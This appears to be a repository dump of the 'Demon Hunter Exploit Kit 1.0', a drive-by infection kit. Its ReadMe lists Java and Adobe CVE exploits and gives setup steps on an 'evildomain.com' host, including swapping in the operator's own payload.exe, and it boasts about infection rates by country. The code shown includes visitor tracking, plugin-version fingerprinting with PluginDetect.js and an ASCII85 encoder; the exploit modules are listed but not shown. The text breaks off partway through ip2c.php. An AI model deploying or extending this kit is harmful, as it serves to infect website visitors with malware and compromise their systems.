├── ReadMe.txt ├── add_visitor.php ├── config.php ├── download_file.php ├── include ├── PluginDetect.js ├── ascii85.php ├── browser.php ├── getJavaInfo.jar ├── index.php ├── ip-to-country.bin ├── ip2c.php ├── shellcode.php ├── sql.php ├── util.php └── visitors.php ├── index.php ├── install └── index.php ├── load_module.php ├── modules ├── Adobe-2008-2992.php ├── Adobe-2010-1297.php ├── Adobe-2010-2884.php ├── Adobe-80-2010-0188.php ├── Adobe-90-2010-0188.php ├── Java-2010-0842.php ├── Java-2010-3552.php ├── JavaSignedApplet.php ├── helpers │ ├── Adobe-2010-1297.swf │ ├── Adobe-2010-2884.swf │ ├── Java-2010-0842.jar │ ├── Java-2010-0842Helper.php │ ├── JavaSignedApplet.jar │ └── index.php └── index.php ├── payload.exe └── statistics ├── clear.php ├── css └── styles.css ├── images ├── clear.png ├── clear_hover.png ├── logo.png ├── logout.png ├── logout_hover.png ├── middlebar.png ├── payload.exe ├── spacer.png └── spacer2.png ├── index.php ├── login.php ├── logout.php ├── statistics.php └── update.php /ReadMe.txt: -------------------------------------------------------------------------------- 1 | Demon Hunter Exploit Kit 1.0 (01.11.2014) 2 | Exploits 3 | Java 4 | CVE-2010-0842 5 | CVE-2010-3552 6 | Oracle Java SE Remote Java Runtime Environment Vulnerability (CVE-2013-2460) 7 | Signed Applet 8 | Adobe 9 | CVE-2008-2992 10 | CVE-2010-1297 11 | CVE-2010-2884 12 | CVE-2010-0188 13 | Microsoft Internet Explorer Use-After-Free Remote Code Execution Vulnerability (CVE-2013-2551) 14 | 15 | 16 | How to install?its really easy! 17 | 1) go and change www.evildomain.com/demonhunter/config.php file (base user password ,login,password etc) 18 | 2) go to www.evildomain.com/demonhunter/install and install datebase to u host 19 | 3) go to www.evildomain.com/demonhunter/statistics/statistics.php and login up 20 | 4)change payload.exe to ur exe file and call ir "payload.exe" 21 | Link for traff is www.evildomain.com/demonhunter/index.php 22 | 23 | % of payload mix is 7-11%,ru is 5-7%,usa is 7-10%,for start it is very nice.... 24 | Will continue to work! -------------------------------------------------------------------------------- /add_visitor.php: -------------------------------------------------------------------------------- 1 | open(); 9 | 10 | $cvisitors = new CVisitors($sql, $sqlSettings); 11 | $exploited = $cvisitors->checkVisitor($_SERVER['HTTP_USER_AGENT'], $cvisitors->getIpAddr(), $cvisitors->getIpAddrCountry($cvisitors->getIpAddr())); 12 | $sql->close(); 13 | 14 | if($exploited){ 15 | exit(); 16 | } 17 | ?> 18 | -------------------------------------------------------------------------------- /config.php: -------------------------------------------------------------------------------- 1 | 43 | -------------------------------------------------------------------------------- /download_file.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /include/PluginDetect.js: -------------------------------------------------------------------------------- 1 | 2 | /* PluginDetect v0.7.4 by Eric Gerds www.pinlady.net/PluginDetect [ onWindowLoaded getVersion Java(OTF) Flash AdobeReader ] */var PluginDetect={version:"0.7.4",handler:function(c,b,a){return function(){c(b,a) 3 | } 4 | },isDefined:function(b){return typeof b!="undefined" 5 | },isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b)) 6 | },isFunc:function(b){return typeof b=="function" 7 | },isString:function(b){return typeof b=="string" 8 | },isNum:function(b){return typeof b=="number" 9 | },isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b)) 10 | },getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null; 11 | return a?a[0]:null 12 | },compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt; 13 | if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f) 14 | }c=h.split(e.splitNumRegx); 15 | b=f.split(e.splitNumRegx); 16 | for(a=0; 17 | ag(b[a],10)){return 1 19 | }if(g(c[a],10)c||!(/\d/).test(e[a])){e[a]="0" 30 | }}return e.slice(0,4).join(",") 31 | },$$hasMimeType:function(a){return function(d){if(!a.isIE){var c,b,e,f=a.isString(d)?[d]:d; 32 | for(e=0; 33 | e2||!f||!f.version||!(e=h.getNum(f.version))){return b 49 | }if(!b){return e 50 | }e=h.formatNum(e); 51 | b=h.formatNum(b); 52 | d=b.split(h.splitNumRegx); 53 | g=e.split(h.splitNumRegx); 54 | for(a=0; 55 | a-1&&a>c&&d[a]!="0"){return b 57 | }if(g[a]!=d[a]){if(c==-1){c=a 58 | }if(d[a]!="0"){return b 59 | }}}return e 60 | },AXO:window.ActiveXObject,getAXO:function(a){var d=null,c,b=this; 61 | try{d=new b.AXO(a) 62 | }catch(c){}return d 63 | },convertFuncs:function(g){var a,h,f,b=/^[\$][\$]/,d={},c=this; 64 | for(a in g){if(b.test(a)){d[a]=1 65 | }}for(a in d){try{h=a.slice(2); 66 | if(h.length>0&&!g[h]){g[h]=g[a](g); 67 | delete g[a] 68 | }}catch(f){}}},initScript:function(){var c=this,a=navigator,d="/",h=a.userAgent||"",f=a.vendor||"",b=a.platform||"",g=a.product||""; 69 | ; 70 | c.OS=(/win/i).test(b)?1:((/mac/i).test(b)?2:((/linux/i).test(b)?3:4)); 71 | c.convertFuncs(c); 72 | c.isIE=new Function("return "+d+"*@cc_on!@*"+d+"false")(); 73 | c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(h)?parseFloat(RegExp.$1,10):null; 74 | c.ActiveXEnabled=false; 75 | if(c.isIE){var e,i=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"]; 76 | for(e=0; 77 | e0&&c.isFunc(b[0])))){a.push(b) 109 | }},callArray:function(b){var c=this,a; 110 | if(c.isArray(b)){for(a=0; 111 | a0&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0) 117 | }else{if(b.isFunc(c)){c(b) 118 | }}},getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b; 119 | if(e<0){return null 120 | }; 121 | f=a.plugin; 122 | if(f.getVersionDone!=1){f.getVersion(d,c); 123 | if(f.getVersionDone===null){f.getVersionDone=1 124 | }}a.cleanup(); 125 | b=(f.version||f.version0); 126 | return b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b 127 | } 128 | },cleanup:function(){ 129 | var a=this; 130 | if(a.garbage&&a.isDefined(window.CollectGarbage)){window.CollectGarbage() 131 | } 132 | },addWinEvent:function(d,c){var e=this,a=window,b; 133 | if(e.isFunc(c)){if(a.addEventListener){a.addEventListener(d,c,false) 134 | }else{if(a.attachEvent){a.attachEvent("on"+d,c) 135 | }else{b=a["on"+d]; 136 | a["on"+d]=e.winHandler(c,b) 137 | }}}},winHandler:function(d,c){return function(){d(); 138 | if(typeof c=="function"){c() 139 | }} 140 | },WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a){a.winLoaded=true; 141 | ; 142 | ; 143 | a.callArray(a.WLfuncs0); 144 | a.callArray(a.WLfuncs); 145 | ; 146 | if(a.onDoneEmptyDiv){a.onDoneEmptyDiv() 147 | }},winLoaded:false,$$onWindowLoaded:function(a){return function(b){ 148 | if(a.winLoaded){ 149 | a.call(b); 150 | }else{a.fPush(b,a.WLfuncs) 151 | }} 152 | },div:null,divWidth:50,pluginSize:1,emptyDiv:function(){var c=this,a,e,b,d=0; 153 | if(c.div&&c.div.childNodes){ 154 | for(a=c.div.childNodes.length-1; 155 | a>=0; 156 | a--){b=c.div.childNodes[a]; 157 | if(b&&b.childNodes){if(d==0){for(e=b.childNodes.length-1; 158 | e>=0; 159 | e--){b.removeChild(b.childNodes[e]) 160 | }c.div.removeChild(b) 161 | }else{}}}}},DONEfuncs:[],onDoneEmptyDiv:function(){var c=this,a,b; 162 | if(!c.winLoaded){return 163 | }if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return 164 | }for(a in c){b=c[a]; 165 | if(b&&b.funcs){if(b.OTF==3){return 166 | }if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return 167 | }}}for(a=0; 168 | a=i){return -1 178 | }try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1 179 | }if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b 180 | }if(b-m.count>=10){return 1 181 | }}}}catch(f){}return 0 182 | },getDOMobj:function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0; 183 | try{if(b&&a){c.firstChild.focus() 184 | }}catch(f){}return b?c.firstChild:null 185 | },setStyle:function(b,g){var f=b.style,a,d,c=this; 186 | if(f&&g){for(a=0; 187 | ao'+b+"/div>"); 191 | c=f.getElementById(h) 192 | }catch(g){}}a=(f.getElementsByTagName("body")[0]||f.body); 193 | if(a){if(a.firstChild&&d.isDefined(a.insertBefore)){a.insertBefore(i,a.firstChild) 194 | }else{a.appendChild(i) 195 | }if(c){a.removeChild(c) 196 | }}else{}},insertHTML:function(g,b,h,a,k){var l,m=document,j=this,q,o=m.createElement("span"),n,i,f="<"; 197 | var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"]; 198 | if(!j.isDefined(a)){a="" 199 | }if(j.isString(g)&&(/[^\s]/).test(g)){q=f+g+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" '; 200 | for(n=0; 201 | n' 207 | }}q+=a+f+"/"+g+">" 208 | }else{q=a 209 | }if(!j.div){j.div=m.createElement("div"); 210 | i=m.getElementById("plugindetect"); 211 | if(i){j.div=i 212 | }else{j.div.id="plugindetect"; 213 | j.insertDivInBody(j.div) 214 | }j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"])); 215 | if(!i){j.setStyle(j.div,["position","absolute","right","0px","top","0px"]) 216 | }}if(j.div&&j.div.parentNode){ 217 | ; 218 | j.div.appendChild(o); 219 | j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"])); 220 | try{if(o&&o.parentNode){o.focus() 221 | }}catch(l){}try{o.innerHTML=q 222 | }catch(l){}if(o.childNodes.length==1&&!(j.isGecko&&j.compareNums(j.verGecko,"1,5,0,0")<0)){j.setStyle(o.firstChild,c.concat(["display","inline"])) 223 | }return{span:o,winLoaded:j.winLoaded,tagName:(j.isString(g)?g:"")} 224 | }return{span:null,winLoaded:j.winLoaded,tagName:""} 225 | },java:{mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],mimeTypeJPI:"application/x-java-applet;jpi-version=",classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",DTKclassID:"clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",DTKmimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],forceVerifyTag:[],jar:[],Enabled:navigator.javaEnabled(),VENDORS:["Sun Microsystems Inc.","Apple Computer, Inc."],OTF:null,All_versions:[],mimeTypeJPIresult:"",JavaPlugin_versions:[],JavaVersions:[[1,9,2,30],[1,8,2,30],[1,7,2,30],[1,6,1,30],[1,5,1,30],[1,4,2,30],[1,3,1,30]],searchJavaPluginAXO:function(){var h=null,a=this,c=a.$,g=[],j=[1,5,0,14],i=[1,6,0,2],f=[1,3,1,0],e=[1,4,2,0],d=[1,5,0,7],b=false; 226 | if(!c.ActiveXEnabled){return null 227 | }; 228 | if(c.verIE>=a.minIEver){g=a.searchJavaAXO(i,i,b); 229 | if(g.length>0&&b){g=a.searchJavaAXO(j,j,b) 230 | }}else{ 231 | if(g.length==0){g=a.searchJavaAXO(f,e,false) 232 | }}if(g.length>0){h=g[0] 233 | }a.JavaPlugin_versions=[].concat(g); 234 | return h 235 | },searchJavaAXO:function(l,i,m){var n,f,h=this.$,q,k,a,e,g,j,b,r=[]; 236 | if(h.compareNums(l.join(","),i.join(","))>0){i=l 237 | }i=h.formatNum(i.join(",")); 238 | var o,d="1,4,2,0",c="JavaPlugin."+l[0]+""+l[1]+""+l[2]+""+(l[3]>0?("_"+(l[3]<10?"0":"")+l[3]):""); 239 | for(n=0; 240 | n=0; 246 | a--){b="JavaWebStart.isInstalled."+g+a+".0"; 247 | if(h.compareNums(f[0]+","+f[1]+","+a+",0",i)>=0&&!h.getAXO(b)){continue 248 | }o=h.compareNums(f[0]+","+f[1]+","+a+",0",d)<0?true:false; 249 | for(e=f[3]; 250 | e>=0; 251 | e--){k=a+"_"+(e<10?"0"+e:e); 252 | j=q+k; 253 | if(h.getAXO(j)&&(o||h.getAXO(b))){r.push(g+k); 254 | if(!m){return r 255 | }}if(j==c){return r 256 | }}if(h.getAXO(q+a)&&(o||h.getAXO(b))){r.push(g+a); 257 | if(!m){return r 258 | }}if(q+a==c){return r 259 | }}}return r 260 | },minIEver:7,getMimeJPIversion:function(){var h,a=this,d=a.$,c=new RegExp("("+a.mimeTypeJPI+")(\\d.*)","i"),k=new RegExp("Java","i"),e,j,f="",i={},g=0,b; 261 | for(h=0; 262 | h0){b=e 269 | }}a.mimeTypeJPIresult=g>0?a.mimeTypeJPI+i["a"+b]:""; 270 | return g>0?b:null 271 | },getVersion:function(d,l){var f,c=this,e=c.$,h=c.NOTF,b=c.applet,j=c.verify,i=vendor=versionEnabled=null; 272 | ; 273 | if(c.getVersionDone===null){c.OTF=0; 274 | c.mimeObj=e.hasMimeType(c.mimeType); 275 | c.deployTK.$=e; 276 | c.deployTK.parentNode=c; 277 | b.$=e; 278 | b.parentNode=c; 279 | if(h){h.$=e; 280 | h.parentNode=c 281 | }if(j){j.parentNode=c; 282 | j.$=e; 283 | j.init() 284 | }}var k; 285 | if(e.isArray(l)){for(k=0; 286 | k=0)?o:m 308 | }else{i=o||m 309 | }}}if(!i&&c.mimeObj&&e.isSafari&&e.OS==2){a=e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",0); 310 | if(a){o=e.getNum(a.description); 311 | if(o){i=o 312 | }}}if(i){c.version0=i; 313 | if(c.Enabled){versionEnabled=i 314 | }}}else{if(!i&&g.status==0){i=c.searchJavaPluginAXO(); 315 | if(i){vendor=c.VENDORS[0] 316 | }}if(i){c.version0=i; 317 | if(c.Enabled&&e.ActiveXEnabled){versionEnabled=i 318 | }}}if(!versionEnabled||b.canTryAny()){f=b.insertHTMLQueryAll(d); 319 | if(f[0]){versionEnabled=f[0]; 320 | vendor=f[1] 321 | }}if(!versionEnabled&&(f=c.queryWithoutApplets())[0]){c.version0=versionEnabled=f[0]; 322 | vendor=f[1]; 323 | if(c.installed==-0.5){c.installed=0.5 324 | }}if(e.isSafari&&e.OS==2){if(!versionEnabled&&n){if(c.installed===null){c.installed=0 325 | }else{if(c.installed==-0.5){c.installed=0.5 326 | }}}}if(c.jreDisabled()){versionEnabled=null 327 | }; 328 | if(c.installed===null){c.installed=versionEnabled?1:(i?-0.2:-1) 329 | }c.EndGetVersion(versionEnabled,vendor) 330 | },EndGetVersion:function(b,d){var a=this,c=a.$; 331 | if(a.version0){a.version0=c.formatNum(c.getNum(a.version0)) 332 | }if(b){a.version=c.formatNum(c.getNum(b)); 333 | a.vendor=(c.isString(d)?d:"") 334 | }if(a.getVersionDone!=1){a.getVersionDone=0 335 | }},jreDisabled:function(){var b=this,d=b.$,c=b.deployTK.query().JRE,a; 336 | if(c&&d.OS==1){if((d.isGecko&&d.compareNums(d.verGecko,"1,9,2,0")>=0&&d.compareNums(c,"1,6,0,12")<0)||(d.isChrome&&d.compareNums(c,"1,6,0,12")<0)){return 1 337 | }}; 338 | if(d.isOpera&&d.verOpera>=9&&!b.Enabled&&!b.mimeObj&&!b.queryWithoutApplets()[0]){return 1 339 | }if((d.isGecko||d.isChrome)&&!b.mimeObj&&!b.queryWithoutApplets()[0]){return 1 340 | }return 0 341 | },deployTK:{status:null,JREall:[],JRE:null,HTML:null,query:function(){var f=this,h=f.$,c=f.parentNode,i,a,b,g=len=null; 342 | if(f.status!==null){return f 343 | }f.status=0; 344 | if((h.isGecko&&h.compareNums(h.verGecko,h.formatNum("1.6"))<=0)||h.isSafari||(h.isIE&&!h.ActiveXEnabled)){return f 345 | }if(h.isIE&&h.verIE>=6){f.HTML=h.insertHTML("object",[],[]); 346 | g=h.getDOMobj(f.HTML) 347 | }else{if(!h.isIE&&(b=h.hasMimeType(c.DTKmimeType))&&b.type){f.HTML=h.insertHTML("object",["type",b.type],[]); 348 | g=h.getDOMobj(f.HTML) 349 | }}if(g){if(h.isIE&&h.verIE>=6){try{g.classid=c.DTKclassID 350 | }catch(i){}}; 351 | try{var d=g.jvms; 352 | if(d){len=d.getLength(); 353 | if(h.isNum(len)){f.status=len>0?1:-1; 354 | for(a=0; 355 | a0){f.JRE=h.formatNum(f.JREall[0]) 359 | }return f 360 | }},queryWithoutApplets00:function(c,a){var b=window.java,d; 361 | try{if(b.lang){a.value=[b.lang.System.getProperty("java.version")+" ",b.lang.System.getProperty("java.vendor")+" "] 362 | }}catch(d){}},queryWithoutApplets:function(){var b=this,c=b.$,d,a=b.queryWithoutApplets; 363 | if(!a.value){a.value=[null,null]; 364 | if(!c.isIE&&window.java){if(c.OS==2&&c.isOpera&&c.verOpera<9.2&&c.verOpera>=9){}else{if(c.isGecko&&c.compareNums(c.verGecko,"1,9,0,0")<0&&c.compareNums(c.verGecko,"1,8,0,0")>=0){}else{b.queryWithoutApplets00(c,a) 365 | }}}}return a.value 366 | },applet:{results:[[null,null],[null,null],[null,null]],HTML:[0,0,0],active:[0,0,0],allowed:[2,2,2],DummyObjTagHTML:0,DummySpanTagHTML:0,getResult:function(){var c=this.results,a,b; 367 | for(a=0; 368 | a0?0:1 423 | }return g.getResult() 424 | }},append:function(e,d){for(var c=0; 425 | c2; 437 | g--){c=f.getAXO(h.progID+"."+g); 438 | if(c){a=g.toString(); 439 | break 440 | }}if(a=="6"){try{c.AllowScriptAccess="always" 441 | }catch(j){return"6,0,21,0" 442 | }}try{k=b(c.GetVariable("$version")) 443 | }catch(j){}if(!k&&a){k=a 444 | }}h.installed=k?1:-1; 445 | h.version=f.formatNum(k); 446 | return true 447 | }},adobereader:{mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:{},pluginHasMimeType:function(d,c,f){var b=this,e=b.$,a; 448 | for(a in d){if(d[a]&&d[a].type&&d[a].type==c){return 1 449 | }}if(e.getMimeEnabledPlugin(c,f)){return 1 450 | }return 0 451 | },getVersion:function(i){var f=this,c=f.$,g,d,j,l=p=null,h=null,k=null,a,b; 452 | i=(c.isString(i)&&i.length)?i.replace(/\s/,"").toLowerCase():f.mimeType; 453 | if(c.isDefined(f.INSTALLED[i])){f.installed=f.INSTALLED[i]; 454 | return 455 | }if(!c.isIE){a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in"; 456 | if(f.getVersionDone!==0){f.getVersionDone=0; 457 | p=c.getMimeEnabledPlugin(f.mimeType,a); 458 | if(!p&&c.hasMimeType(f.mimeType)){p=c.findNavPlugin(a,0) 459 | }if(p){f.navPluginObj=p; 460 | h=c.getNum(p.description)||c.getNum(p.name); 461 | h=c.getPluginFileVersion(p,h); 462 | if(!h&&c.OS==1){if(f.pluginHasMimeType(p,"application/vnd.adobe.pdfxml",a)){h="9" 463 | }else{if(f.pluginHasMimeType(p,"application/vnd.adobe.x-mars",a)){h="8" 464 | }}}}}else{h=f.version 465 | }l=c.getMimeEnabledPlugin(i,a); 466 | f.installed=l&&h?1:(l?0:(f.navPluginObj?-0.2:-1)) 467 | }else{p=c.getAXO(f.progID[0])||c.getAXO(f.progID[1]); 468 | b=/=\s*([\d\.]+)/g; 469 | try{d=(p||c.getDOMobj(c.insertHTML("object",["classid",f.classID],["src",""],"",f))).GetVersions(); 470 | for(j=0; 471 | j<5; 472 | j++){if(b.test(d)&&(!h||RegExp.$1>h)){h=RegExp.$1 473 | }}}catch(g){}f.installed=h?1:(p?0:-1) 474 | }if(!f.version){f.version=c.formatNum(h) 475 | }f.INSTALLED[i]=f.installed 476 | }},zz:0}; 477 | PluginDetect.initScript(); 478 | -------------------------------------------------------------------------------- /include/ascii85.php: -------------------------------------------------------------------------------- 1 | 14 | * @copyright Copyright (c) 2007, Sam Shull 15 | * @license http://www.samshull.com/bsdlicense.txt BSD License 16 | * @link http://samshull.com/ascii85example.php 17 | * @version 0.9 18 | * @access public 19 | */ 20 | class ASCII85{ 21 | /** 22 | * Line width for splitting 23 | * 24 | * @var integer 25 | * @access protected 26 | */ 27 | var $width = 72; 28 | /** 29 | * Position within the line 30 | * 31 | * @var integer 32 | * @access protected 33 | */ 34 | var $pos = 0; 35 | /** 36 | * Unsigned long being manipulated 37 | * 38 | * @var string 39 | * @access protected 40 | */ 41 | var $tuple = "0"; 42 | /** 43 | * Number of bytes being manipulated 44 | * 45 | * @var integer 46 | * @access protected 47 | */ 48 | var $count = 0; 49 | /** 50 | * Output 51 | * 52 | * @var string 53 | * @access protected 54 | */ 55 | var $out = ""; 56 | /** 57 | * Power of 85 multiplier 58 | * 59 | * @var array 60 | * @access protected 61 | */ 62 | var $pow85; 63 | /** 64 | * Error 65 | * 66 | * @var string 67 | * @access public 68 | */ 69 | var $error; 70 | /** 71 | * For storing unpacked bytes 72 | * 73 | * @var array 74 | * @access protected 75 | */ 76 | var $array = array(); 77 | /** 78 | * Position within byte array 79 | * 80 | * @var integer 81 | * @access protected 82 | */ 83 | var $i = 1; 84 | 85 | /** 86 | * Method: encode 87 | * Primary encoding method, one argument, the string that is to be encoded 88 | * @param string $string 89 | * @return string 90 | **/ 91 | function encode($string){ 92 | $this->error = ""; 93 | $this->out = ""; 94 | $this->pos = 2; 95 | 96 | $array = unpack("C*",$string); 97 | //print_r($array); 98 | for($i=1;$i<=count($array);$i++){ 99 | $this->put85($array[$i]); 100 | } 101 | 102 | if ($this->count > 0) 103 | $this->encode85(false); 104 | if ($this->pos + 2 > $this->width) 105 | $this->out.="\n"; 106 | $this->out.="~>\n"; 107 | if($this->error){ 108 | return $this->error; 109 | }else{ 110 | return $this->out; 111 | } 112 | } 113 | 114 | /** 115 | * Method: encode85 - if PHP5 mark as private or protected 116 | * Method used to convert an unsigned long to ASCII characters 117 | * One parameter bool increase the count by one when adding 118 | * encoded characters to output string 119 | * @param bool $tru default:true 120 | **/ 121 | function encode85($tru=true) { 122 | $s = array(); 123 | $i = 5; 124 | while (--$i >= 0){ 125 | $s[$i] = (int)bcmod($this->tuple,"85"); 126 | $this->tuple = bcdiv($this->tuple,"85"); 127 | } 128 | //print_r($s); 129 | $f = $tru ? 1 : 0; 130 | for($i=0;$i<=$this->count+$f;$i++){ 131 | $this->out .= chr(($s[$i] + ord('!'))); 132 | if ($this->pos++ >= $this->width) { 133 | $this->pos = 0; 134 | $this->out.="\n"; 135 | } 136 | } 137 | } 138 | /** 139 | * Method: put85 - if PHP5 mark as private or protected 140 | * Method is passed each char of the string to be encoded and adds it 141 | * to an unsigned long for conversion by encode85 142 | * @param decimal $c 143 | **/ 144 | function put85($c) { 145 | switch ($this->count) { 146 | case 0: $this->tuple = bcadd($this->lshift($c,24),$this->tuple); 147 | $this->count++; 148 | break; 149 | case 1: $this->tuple = bcadd($this->tuple,((string)($c << 16))); 150 | $this->count++; 151 | break; 152 | case 2: $this->tuple = bcadd($this->tuple,((string)($c << 8))); 153 | $this->count++; 154 | break; 155 | case 3: 156 | $this->tuple = bcadd($this->tuple,((string)$c)); 157 | if ($this->tuple == 0) { 158 | $this->out.='z'; 159 | if ($this->pos++ >= $this->width) { 160 | $this->pos = 0; 161 | $this->out.="\n"; 162 | } 163 | } else { 164 | $this->encode85(); 165 | } 166 | $this->tuple = "0"; 167 | $this->count = 0; 168 | break; 169 | } 170 | } 171 | /** 172 | * Method: decode 173 | * Primary method used to decode an encoded string, one parameter an encoded string 174 | * Breaks apart string for encoding and returns 175 | * @param string $string 176 | * @return string 177 | **/ 178 | function decode($string){ 179 | $this->error = ""; 180 | $this->out = ""; 181 | $this->count = 0; 182 | $this->pow85 = array((85*85*85*85), (85*85*85), (85*85), 85, 1); 183 | $string=preg_replace("/^<~/isx","",$string); 184 | $this->array = str_split($string); 185 | while($this->i < count($this->array)){ 186 | $this->decode85(current($this->array)); 187 | next($this->array); 188 | $this->i++; 189 | } 190 | if($this->error){ 191 | return $this->error; 192 | }else{ 193 | return $this->out; 194 | } 195 | } 196 | /** 197 | * Method: wput - if PHP5 mark as private or protected 198 | * Used to pack the output codes, one parameter number of bytes to output 199 | * @param int $bytes 200 | **/ 201 | function wput($bytes) { 202 | switch ($bytes) { 203 | case 4: 204 | $this->out.=pack("C",$this->rshift($this->tuple,24)); 205 | $this->out.=pack("C",$this->rshift($this->tuple,16)); 206 | $this->out.=pack("C",$this->rshift($this->tuple,8)); 207 | $this->out.=pack("C",((float)$this->tuple)); 208 | break; 209 | case 3: 210 | $this->out.=pack("C",$this->rshift($this->tuple,24)); 211 | $this->out.=pack("C",$this->rshift($this->tuple,16)); 212 | $this->out.=pack("C",$this->rshift($this->tuple,8)); 213 | break; 214 | case 2: 215 | $this->out.=pack("C",$this->rshift($this->tuple,24)); 216 | $this->out.=pack("C",$this->rshift($this->tuple,16)); 217 | break; 218 | case 1: 219 | $this->out.=pack("C",$this->rshift($this->tuple,24)); 220 | break; 221 | } 222 | //$this->tuple = "0"; 223 | } 224 | /** 225 | * Method: decode85 - if PHP5 mark as private or protected 226 | * Used to decode the chars and add them up in an unsigned long 227 | * to be encoded, one paramater char to be added 228 | * @param char $c 229 | **/ 230 | function decode85($c) { 231 | switch ($c) { 232 | case 'z': 233 | if ($this->count != 0) { 234 | $this->error.="\n: z inside ascii85 5-tuple"; 235 | return; 236 | } 237 | $this->out.=pack("C",0x00); 238 | $this->out.=pack("C",0x00); 239 | $this->out.=pack("C",0x00); 240 | $this->out.=pack("C",0x00); 241 | break; 242 | case '~': 243 | $c = next($this->array); 244 | if ($c == '>') { 245 | if ($this->count > 0) { 246 | $this->count--; 247 | $this->tuple = bcadd($this->tuple,$this->pow85[$this->count]); 248 | $this->wput($this->count); 249 | } 250 | return; 251 | } 252 | $this->error.="\n: ~ without > in ascii85 section"; 253 | return; 254 | case "\n": case "\r": case "\t": case " ": 255 | case "\0": case "\f": case "\b": case 0177: 256 | break; 257 | default: 258 | //echo (ord($c)-ord('!'))."\n"; 259 | if (ord($c) < ord('!') || ord($c) > ord('u')) { 260 | $this->error.="\nBad character in ascii85 region: ".current($this->array)." ".$this->i; 261 | //return; 262 | } 263 | $this->tuple = bcadd($this->tuple,bcmul((ord($c)-ord('!')),$this->pow85[$this->count])); 264 | $this->count++; 265 | if ($this->count == 5) { 266 | $this->wput(4); 267 | $this->count = 0; 268 | $this->tuple = "0"; 269 | } 270 | break; 271 | } 272 | } 273 | /** 274 | * Method: lshift - if PHP5 mark as private or protected 275 | * Used to allow class to deal with unsigned longs, bitwise left shift 276 | * Two parameters, number to be shifted, and how much to shift 277 | * @param int|string $n 278 | * @param int $b 279 | * @return string 280 | **/ 281 | function lshift($n,$b){ 282 | for($t=0;$t<$b;$t++){ 283 | $n = bcmul($n,"2"); 284 | } 285 | return ((string)$n); 286 | } 287 | /** 288 | * Method: rshift - if PHP5 mark as private or protected 289 | * Used to allow class to deal with unsigned longs, bitwise right shift 290 | * Two parameters, number to be shifted, and how much to shift 291 | * @param int $n 292 | * @param int $b 293 | * @return int 294 | */ 295 | function rshift($n,$b){ 296 | for($t=0;$t<$b;$t++){ 297 | $n = bcdiv($n,"2"); 298 | } 299 | return ((int)$n); 300 | } 301 | } 302 | 303 | ?> 304 | -------------------------------------------------------------------------------- /include/browser.php: -------------------------------------------------------------------------------- 1 | strtoupper($this_browser), 69 | "browser_version" => $this_version, 70 | "platform" => $this_platform, 71 | "platform_version" => $this_platformversion 72 | ); 73 | 74 | } 75 | 76 | } 77 | 78 | 79 | /* 80 | print_r(_browser()); // return array of browser data 81 | var_dump(_browser('firefox')); // return true if using firefox 82 | var_dump(_browser('msie', '>= 7.0')); // return true if using IE 7.0 or above else false 83 | var_dump(_browser('firefox', '< 3.0.5')); // return true if using below firefox 3.0.5 (can check minor version) 84 | var_dump(_browser(false, false, true)); // return string of name of browser and version 85 | var_dump(_browser('gecko')); 86 | var_dump(_browser('firefox', 'le 1.5'));// version_compared function is used so you can use the same operator syntax 87 | echo ''; 88 | */ 89 | 90 | ?> 91 | -------------------------------------------------------------------------------- /include/getJavaInfo.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/include/getJavaInfo.jar -------------------------------------------------------------------------------- /include/index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/include/index.php -------------------------------------------------------------------------------- /include/ip-to-country.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/include/ip-to-country.bin -------------------------------------------------------------------------------- /include/ip2c.php: -------------------------------------------------------------------------------- 1 | bin_file; 28 | } 29 | 30 | $this->caching = $caching; 31 | 32 | $this->m_file = fopen($bin_file, "rb"); 33 | if (!$this->m_file) 34 | { 35 | trigger_error('Error loading 